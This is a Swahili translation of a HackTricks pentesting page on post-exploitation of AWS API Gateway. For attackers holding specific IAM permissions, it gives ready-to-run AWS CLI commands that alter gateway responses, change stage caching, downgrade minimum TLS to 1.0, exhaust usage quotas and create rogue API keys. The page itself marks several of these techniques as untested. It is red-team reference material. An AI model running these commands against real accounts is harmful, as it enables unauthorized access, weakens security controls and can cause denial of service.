AWS - API Gateway Post Exploitation

Jifunze uchimbaji wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

API Gateway

Kwa habari zaidi angalia:

Kufikia APIs zisizofichuliwa

Unaweza kuunda mwisho wa https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint na huduma com.amazonaws.us-east-1.execute-api, fichua mwisho katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na weka kikundi cha usalama kuruhusu mawasiliano yote. Kisha, kutoka kwenye mashine ya EC2 utaweza kufikia mwisho na hivyo kuita API ya lango ambayo haikufichuliwa awali.

Mipango ya Matumizi DoS

Katika sehemu ya Uchambuzi unaweza kuona jinsi ya kupata mpango wa matumizi wa funguo. Ikiwa una funguo na imepunguzwa hadi matumizi X kwa mwezi, unaweza kuitumia tu na kusababisha DoS.

Funguo ya API inahitaji tu kuwa imejumuishwa ndani ya kichwa cha HTTP kinachoitwa x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Mvamizi mwenye ruhusa apigateway:UpdateGatewayResponse na apigateway:CreateDeployment anaweza kurekebisha Jibu la Lango lililopo ili kujumuisha vichwa vya desturi au templeti za majibu ambazo hufichua habari nyeti au kutekeleza hati za malicious.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kutolewa kwa taarifa nyeti, kutekeleza scripti za malicious, au kupata ufikivu usioruhusiwa kwenye rasilimali za API.

Inahitaji kupimwa

apigateway:UpdateStage, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa za apigateway:UpdateStage na apigateway:CreateDeployment anaweza kurekebisha hatua ya API Gateway iliyopo ili kuendeleza trafiki kwenye hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikivu usioruhusiwa wa data iliyohifadhiwa.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Upatikanaji usiohalali wa data iliyohifadhiwa, kuvuruga au kuingilia trafiki ya API.

Inahitaji kupimwa

apigateway:PutMethodResponse, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa za apigateway:PutMethodResponse na apigateway:CreateDeployment anaweza kurekebisha jibu la mbinu ya API Gateway REST API iliyopo ili kujumuisha vichwa vya desturi au templeti za majibu ambazo zinaweza kufichua habari nyeti au kutekeleza scripti za malicious.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kuvuja kwa habari nyeti, kutekeleza script za malicious, au kupata ufikivu usioruhusiwa kwa rasilimali za API.

Inahitaji kupimwa

apigateway:UpdateRestApi, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa za apigateway:UpdateRestApi na apigateway:CreateDeployment anaweza kurekebisha mipangilio ya API Gateway REST API kwa kuzima kuingiza kumbukumbu au kubadilisha toleo la chini la TLS, ikisababisha kudhoofisha usalama wa API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kupunguza usalama wa API, ikiruhusu ufikiaji usioruhusiwa au kufichua habari nyeti.

Inahitaji majaribio

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Mshambuliaji mwenye ruhusa za apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, na apigateway:CreateUsagePlanKey anaweza kuunda funguo mpya za API, kuziunganisha na mipango ya matumizi, na kuzitumia funguo hizi kwa ufikiaji usioruhusiwa wa API.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Athari Inayoweza Kutokea: Upatikanaji usiohalali wa rasilimali za API, kukiuka udhibiti wa usalama.

Inahitaji majaribio

Jifunze kuhusu udukuzi wa AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Last updated